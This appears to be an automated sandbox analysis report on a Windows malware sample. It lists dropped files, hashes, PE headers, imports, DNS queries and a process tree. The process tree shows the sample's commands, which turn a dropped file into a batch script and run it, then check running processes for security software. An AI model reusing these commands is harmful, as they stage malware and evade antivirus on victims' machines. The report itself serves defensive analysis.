File Type:	data
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	4.255745457841842
Encrypted:	false
SSDEEP:	48:D1YIEqAniRRGVpIsssssCssssssssnsssssssssssssssssssssssssssssssss7:p1/AniRRUp1HwJNGMh5iCfXfJ4LLF
MD5:	565C34A01AB8904E85EF374CC03651A4
SHA1:	0DD3C73AABE9B950C356921221DCA747EB8B9011
SHA-256:	936926C20932948640765731B8D130F0230249CD30FB30447734D61F621A2704
SHA-512:	491B3C3B12C1B01764EB3C97CAC23A1E2FE8FBFA3F46E32606D102530E6BBCCDDB49F66CCE1C359B4C69EA256722C4EB8FF9B77513CADFCFEA23319C580783D3
Malicious:	false
Preview:	....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................m.m.m.m.m.m.m.m.m.m.m.m.2.2.2.2.2.2.2.2.2.2.2.2.2.2.

C:\Users\user\AppData\Local\Temp\Stockings

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.998207860514862
Encrypted:	true
SSDEEP:	3072:y9AKfAie9jD0Y0TQlRP+hbTJGc56J63fbqC:GAK4ied0TOVabTJXVL
MD5:	6675D3E1DA6AA19BB5135860F0EA0D37
SHA1:	D3C81ABFC7C14E7A73F31DAA3078FD31394E2859
SHA-256:	A9A5D51B384D8C3F746A8881A46C285D2EFD7291386C794AE9B7640D4BCFD500
SHA-512:	C6DB87D1D635FCB6FBC76AF431121A7958CBF0CECFC4EFA3C3D6BB4DF41F3D2BCF36D378929162D3EF6900BC68AD578511D615A07C6BF3B86E1A7B3AC55E953E
Malicious:	true
Preview:	...;.........$..=..4.nf.8...Zs.o.o...`Jw\|Qj..-..~...)-...Q@g.j.;:.,[.D.{.j~...\.U.".;..* ...X.w....2.._..!{$.l(m.#{@.{.,,a-...k.".L......P........RiMr;K.'.....A.v...9..}....g0A..j....<e.jQ..cP....H+.O..c.M8...,.^Nf....KW..'..^?)oN4.Ef.D.!r](...W<.'.0...$.>_...g.yM....J.\|.....u.h!.m./..S..0,D..P..l`..nt...U....1....'1.~....m....\.m.}.>...@_W9.6.3.f..P.....[.I...A....e^......4......;....zH&...z{e.a.9.e..n.s....-. .Q......[....hb.........n..1L....c.l..%'..N...0.(.T....J..G..v.uQ.L.lhU......Y<..9.`.....G..3.E...Dp...r........Pvgcc....e..TooU.S...\|...F.G.]...8......v.ho..N0:.'.bG.....G..i.t.3..k...Y.D..^....py8..Y,.4sL......w...&..T.>...o ..R.t...;..S...T}\c....m....<k.A..HD..y7.D....o.6^Q<.......l...V%^.oM...4X....yj.#.. h....(..".....w&...V.}...*z.......S..NS..>..AK...G....4.d..1.'.\|i..+..'...>....d%6"...#2`R..>..\....hI~...%.^X.. 0g...._Mx.....6n....Dr....W.._Yc...b.%D."..-..0#..f.I...W.2....}.g.".V.q.S.m.C......s.I7&.......O....).(....^...

C:\Users\user\AppData\Local\Temp\Studios

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.264996685135176
Encrypted:	false
SSDEEP:	768:7q25NKEHq9BxyyM0Dj2Bmgari0UPD/3Efrafd0maNBZikj0kkuhsRqI5o+k:ZNHq9Bxhgari/D/3EfraF0Hikj06Lz
MD5:	75318145A2346FADDDE0AD48BFB0D31D
SHA1:	11139B56D08EBD2CA1C220D222B44FFA04C2B301
SHA-256:	C386693C1913B1EB863E09727B8E18CAE277849F6F16A4028EB68233AEE4396D
SHA-512:	1D565E1EABADD324CF4E9022372CAC77F09750D3074F97008F370FF91802ADCBBBE8468BC45F20D09FB9758589DEC924A7E302AE9247880BDC48D164C344A80E
Malicious:	false
Preview:	u.3.;....a.3.x...A.l.l. .f.i.l.e.s. .(.....)...........a.u.3...#.i.n.c.l.u.d.e. .d.e.p.t.h. .e.x.c.e.e.d.e.d... . .M.a.k.e. .s.u.r.e. .t.h.e.r.e. .a.r.e. .n.o. .r.e.c.u.r.s.i.v.e. .i.n.c.l.u.d.e.s...E.r.r.o.r. .o.p.e.n.i.n.g. .t.h.e. .f.i.l.e.....>.>.>.A.U.T.O.I.T. .S.C.R.I.P.T.<.<.<...B.a.d. .d.i.r.e.c.t.i.v.e. .s.y.n.t.a.x. .e.r.r.o.r.....U.n.t.e.r.m.i.n.a.t.e.d. .s.t.r.i.n.g...C.a.n.n.o.t. .p.a.r.s.e. .#.i.n.c.l.u.d.e...U.n.t.e.r.m.i.n.a.t.e.d. .g.r.o.u.p. .o.f. .c.o.m.m.e.n.t.s.....O.N.....O.F.F...0.%.d...%.d.....S.h.e.l.l._.T.r.a.y.W.n.d...R.E.M.O.V.E.....K.E.Y.S.....E.X.I.S.T.S.....A.P.P.E.N.D.....b.l.a.n.k...i.n.f.o.....q.u.e.s.t.i.o.n.....s.t.o.p.....w.a.r.n.i.n.g.....L.i.n.e. .%.d.:. .....B.U.T.T.O.N.....#.3.2.7.7.0.....\.\.?.\.....\.\.?.\.U.N.C.\.....\.\...\.....S.t.r.i.n.g.F.i.l.e.I.n.f.o.\...\.V.a.r.F.i.l.e.I.n.f.o.\.T.r.a.n.s.l.a.t.i.o.n.....0.4.0.9.0.0.0.0.....D.e.f.a.u.l.t.L.a.n.g.C.o.d.e.p.a.g.e...%.u...%.u...%.u...%.u...\....*.....0...0...0...0...o.p.e.n. ... .a.

C:\Users\user\AppData\Local\Temp\Tags

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	4.5949349580540915
Encrypted:	false
SSDEEP:	384:MPsjnQV6QvXdooooooooooooooooooooooty:cUHiy
MD5:	93E1FB7C29E1C5D82D72013FD87585A2
SHA1:	F8A28C23DC625DF120E1C29E2A9E14BF6F9E07F3
SHA-256:	B910C0C4E8DFC593B3925AFC41F5BB1A5FA86A145E62577307AF2F7FF6427830
SHA-512:	4E663FBB6E10042168E35F3098B9FD37ADDC22FD84A5901E12C4EC7FB576FC7CE9CDE2BB0FB10A29B8C6E8B0FC102386B7B7AD511E1811FCB7E5F972B9E4AA93
Malicious:	false
Preview:	m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.......................................................m...................................................................................................................................................................h.h...........................................................................m...............m.......m.................m.m.....m.m.............................................m...............m...m.m.m.........m.m...................m.m.....m.m.........m.m.m.m.m.m.m.m...m.m.m.m.....m...........m.m.............................................m.m.m.m.m.......m.............m.m.m.m.....m.m.............................................m...............m.....m.....m.....m.m...m...........m.m.m.m.....m.m.......m.m.m...m.m.m.m.m.m.m.........m...m.m.m.m.m.m.m.................................m.m.m.m.m.m.m.m.m.m.m.......m...................m.......m.............................................m...............m.....m...........m.m.....

C:\Users\user\AppData\Local\Temp\Thereof

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.127678229864238
Encrypted:	false
SSDEEP:	192:00GMKTY89cKyjB+mOofFsBk2yR6DXAhADUh95ybOIOo94:0kcHyjJFsBNywAhADsUi
MD5:	C3DF7A4BAE78D93A1AA952A415619D40
SHA1:	93CC13AA30F070C943BAE96ECFCF4505CA13CF98
SHA-256:	47C455D9E9834DB22C39BC8B1D3D3B4DFC15207647CCBFEA35A16F7CAF11A442
SHA-512:	7EC31765F35B1B0E2CE3C091C10721589177D78C16B82A9E5E8B3292822AAADC0C91962F216208E521018B43AB341AE547FD667D945C1A3A480B08863435F50F
Malicious:	false
Preview:	........................```.....vvv.............................b\Y.aL:.\|W3..e6..p<..yA...C..~C..w@..o<..b6.rR3.\J<.a\X.................................}}}.\\\.....................................................```.....xxx.........................]VR.\B/.{K'..X,..i3..t8..}?...B...D...D...B..~?..u9..g4..V,.qG(.UA2.[VS.................................ZZZ.............................................ZZZ.....zzz.........................UH?.g<..}F"..S&..^,..i1..t9...A...I...P...P...J...B..u9..j2.._,..U(.vE".\:!.RHA.................................TTT.....................................\\\0qqq...www.................a^\.S?1.j>..wC...K!..T'.._+..k4..w?...K...W...\...\...W...K..x?..l5..`,..U'..K".tB .a; .L>3.`]\.........................xxx.FFF8................................bbb.....ttt.................da_.Q=..i?..sD..zI!..M#..W*..g7..uF...T...`...h..n..n...i...a...U..wG..g7..X+..N#.{I!.sD .`;..J;0.a`^.........................^^^.............................ZZZN............................

C:\Users\user\AppData\Local\Temp\Things

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	6.773492243030843
Encrypted:	false
SSDEEP:	768:4rUCVoyOQ5DuOKHnPiamE9w97OUg4eVD5:4rnVRCOa69E9wFOUg/R5
MD5:	ECD876C831C2B3E1708FE81C1053EEE4
SHA1:	627E0C5B56DA36FF30F5A9E8BE218525AE3A8059
SHA-256:	1618767B6776FE41E17E4841FD9DA532D0A59563342DC174D143FD42111B3DDB
SHA-512:	130D0100DB8DC13FA2820E98377A8B0B9AA820804B17C097ECFA6C1CC9D3AB0921AF7953A249635EC50097D0DFD4601FE985ABA207D658FF22B4E77A6AACDF72
Malicious:	false
Preview:	d`].....................WWW.....................ggg.................{{{.}}}.~vp.......................................rlf.}}}.....................```.............................jjj.................yyy.yyy.zzz.vqm.......................{.pkg.zzz.{{{.yyy.................bbb....................................+jjj.....................nnn.ppp.xxx.{{{.{{{.zzz.{{{.yyy.rrr.mmm.....................bbb.YYY'........................................ggg.............................ttt.ggg.hhh.vvv.............................bbb.}}}.................................................dddtnnn........................................................nnn.ZZZp................................................................fffummm........................................mmm.___r................................................................................qqqEddd.hhh.nnn.uuu.ttt.nnn.ggg.```.eeeB.......................................................?........................................................

C:\Users\user\AppData\Local\Temp\Tokyo

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	6.231901580470429
Encrypted:	false
SSDEEP:	96:8Whz/SRYOb1a9BlZzAC3druYds27BHD0PD1xvnprnZY2jPoY1xHlz1Patdd:8Sz/SRYOithuYS2ZAD/vprnBQOz1id
MD5:	BEDA7B30D256F7E4D8EE5876D0B262C5
SHA1:	7DBB99BBC4DD7D23FCF9834488AA59F6B50BBA51
SHA-256:	8414705DD0333529CD4077588EE720BCF32E5BC28CAF90F552F73341BB0AE54F
SHA-512:	2B06A95529B87846B62317A2141438558F9A91B0804F7C48A88FDB6CC7E093F209E9089E0262FEAD5F4B4F03711BCB4E2748081B7FAE8D377CFBD3CF980B1A80
Malicious:	false
Preview:	.....M.+Nx.F....L..9}....G..E.....]..................E.u.................3..E..S..M.@Pj.V.u..u.............tV......tN.E....... ...u%..C...C9...........f.;wt.f.8w..................C.f.<Cw..Ct..........E.f.;x.. ............C.f.<Cw..Ct.........].E..6................u..E.................E......E..S..M.@Pj.V.u..u.................. ....-u>..C...C9.....sJf.;wt.f.8wu>..C.f.<Cw..Ct..<.....t.H..f................U....................C.f.<Cw..Ct.}............]..c....}..t?..K...~Q.E.I....E.;Fx......f.......f#.....f;.E.u.....E.........C..M....A...M.;Fx......E.;.....s...........]......=$uL.........0.........C...4....F...8....Fx..<....F\|+Fx....@....E.+Fx....D....E.+Fx....H.....C...X.....C...\....E..+.....L............P.....u..P...............T...........`.....0...P..$uL..................U.....].....Nt..C..<A.}.;.u.3.....W.........t..E.;Q.u.;A.u.......m.......u.U...........E..E..E........E..E........N..].M.............E..........P..<dJ.....E......Y...M....Q.v.P.............f9..

C:\Users\user\AppData\Local\Temp\Vendor

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	7.995561012121999
Encrypted:	true
SSDEEP:	768:ULqY7TzZg952TwIUPX/eBOPp5PiIcpgmwmFbWzUrD2Tlha13M/PX/pEE:Uj7TotIUnA49cqmwe32Bha13M/pEE
MD5:	3032F7CAD7D5FDC76480D35C1B96F1D7
SHA1:	17118E193C859BA96F330F2DFA8CF3994AB6AE6B
SHA-256:	8787ADE46BC3D7F369535A52AD0DDEEFB014652D8E2B83A531A7498E2770C2E3
SHA-512:	565F31ABEECBD55BB6CC920F9888074C779AE12547DDF941EA63F1BF0632B6FC8894E40B54FA8FEA23041ED8C96AD2893F5C5D4BAC31DA542B1D62CE5C163B27
Malicious:	true
Preview:	..P/.....}..B.g.^..p...+.:k9..8....43.ke7...JQ!..(R....^LBB.zCz(L.R.xk..RQ>DbJ....f.........,~.f.8~....!t..hh]..7!Z.I.....U...W0....x1G.....v.a.F...N.....k.n..o.wX........N=>..f.F...Ro1X..q}...8.\....<:M@.C.<..l.....6.{i...u-..5.X..v`.9.e.....E!..IMc....H...B.....FU.F2G5.r..n...^....Fw....[(.+'o.,K.n...v..z.5...;k@\|.+..<..^.....>g.%O..........6_..k....p.q..G.26.-k.....j..h.Z0\J#~E..k1....v....G..V.j!I.':..Z,.?..t.o....:...]].`......P .r....G......:}.........yoc(..Z.#..=l{b2.)!..2....>...c....[...w.>.A. @+......u..fp...}%.z.a....o_1.>."~.z.`.].3}........v@.5Zw....\...A.@......w..OB.o..c.-...(r..2.eM.69...^..A.$_e..P.q..J.._...9'.r..;.D..C..Z...@...r.0.fu..4...8...y. S..3....VV..-..!.B...4........ .J@.v.?V.6...B..P,.....2.i...s.`.R.Z.V.6.3....O.y\.....a...1'.7.6.)E+.F%...6@....(.'.n..E..TY ..,..R..k"...,q...{. Tf.4...-..M .3&....7....^.y9....m..@..q ......%.ZR.9..]r.Bg..j.wH..2..a..0.... a...\|....{#..H.1.O...&mT+...7..D.{.....it..N{.P...

C:\Users\user\AppData\Local\Temp\Violence

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.184577192657991
Encrypted:	false
SSDEEP:	768:eTlKWzhQVNsbSSkLQ7PqYIueIVvaOsibzc+ylIt0su0B4y+aZmzdz:D7gqYrui3vylIusu0B4MmZ
MD5:	A8592B01E55B70C3C7D82383CBEA914B
SHA1:	3F5BC91EF9658DA1B8B3BD21F4C477EFEEFA9779
SHA-256:	BA7160B3E08911B714F3AC8A40F2222745E31A187811BB69CEDCDF27AD83007C
SHA-512:	E29733F533C4C6140FE63D20889DB1CD3C04102E08965EB7C115883F95ED23CFBE891F9A32962495D16BE095C4BD3D806378808B65A32054FBBE0E235B69CCCB
Malicious:	false
Preview:	.........L.........L......L.X.I.....L..F.....L.........L.........L.........L.........L......L...I.....L...F.....L.........L.........L.........L.........L......L...I.....L.0.F.....L.........L.........L.........L.........L......L...I.....L.l.F... .L.......$.L.......(.L.......,.L.......0.L....4.L...I...@.L...F...D.L.......H.L.......L.L.......P.L.......T.L....X.L...I...d.L...F...h.L.......l.L.......p.L.......t.L.......x.L....\|.L...I.....L...F.....L.........L.........L.........L.........L......L.(.I.....L...F.....L.........L.........L.........L.........L......L.H.I.....L...F.....L.........L.........L.........L.........L......L.h.I.....L.+.F.....L.........L.........L.........L.........L......L...I.....L.G.F.....L....... .L.......$.L.......(.L.......,.L....0.L...I...<.L...F...@.L.......D.L.......H.L.......L.L.......P.L....T.L...I...`.L...F...d.L.......h.L.......l.L.......p.L.......t.L....x.L...I.....L...F.....L.........L.........L.........L.........L......L...I.....L...F.....L.........L.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	1.73548077648206
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QqHWdVqNBs.exe
File size:	17'074'946 bytes
MD5:	45658cfd5c86375a3f47d821c8c8bfc7
SHA1:	01dfdac7115839b4dabc96dfe381d7231010838c
SHA256:	eca8448d70d825863070e154190f163d6917ba1f696402d8ed20ffe0e59f1bf5
SHA512:	db04b682f245e749f7212a2ea0a4f8adcc202f8a6867fc5547f8ce53b8eb62a2c3a3cae2d4230aba933e9fff284766f5a125fae260b35ac9cb883e33cce4036c
SSDEEP:	49152:Ix1BZ/3KMJESGkP9bKJPUyN1RL7HDUq1373ht:+bZ/6JSGkPRwPU2R3Q63h
TLSH:	AC073326E2B561D3E97E0A3171F1AB301BD2D432567098892A403DFD7C72BD3790A97E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	cbc4e464a46466b0

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FF4A11E2DBBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FF4A11E2A9Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FF4A11E2A8Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FF4A11E038Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FF4A11E2761h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FF4A11E0413h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FF4A11E038Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x6d00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1902d68	0x2d68
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x6d00	0x6e00	01b11916ca291372ff46521d718ca81d	False	0.7620028409090909	data	6.695161435450058	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfb000	0xf32	0x1000	01effa914a90b27acd314f2e4522e5ab	False	1.002685546875	data	7.941666429088442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4220	0x294f	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0010401891252956
RT_ICON	0xf6b70	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.6057770545158666
RT_ICON	0xf91d8	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.644808743169399
RT_ICON	0xfa300	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.74822695035461
RT_DIALOG	0xfa768	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfa868	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfa988	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfa9e8	0x3e	data	English	United States	0.8225806451612904
RT_MANIFEST	0xfaa28	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:13:48.931875944 CEST	58822	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:13:48.941293955 CEST	53	58822	1.1.1.1	192.168.2.7
Sep 27, 2024 11:14:00.997454882 CEST	51903	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:14:01.018791914 CEST	53	51903	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 11:13:48.931875944 CEST	192.168.2.7	1.1.1.1	0x2bed	Standard query (0)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:14:00.997454882 CEST	192.168.2.7	1.1.1.1	0x99c2	Standard query (0)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 11:13:48.941293955 CEST	1.1.1.1	192.168.2.7	0x2bed	Name error (3)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:14:01.018791914 CEST	1.1.1.1	192.168.2.7	0x99c2	Name error (3)	jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	05:13:33
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\QqHWdVqNBs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QqHWdVqNBs.exe"
Imagebase:	0x400000
File size:	17'074'946 bytes
MD5 hash:	45658CFD5C86375A3F47D821C8C8BFC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:13:38
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:13:38
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:13:40
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xa40000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:13:40
Start date:	27/09/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe opssvc.exe"
Imagebase:	0xcd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
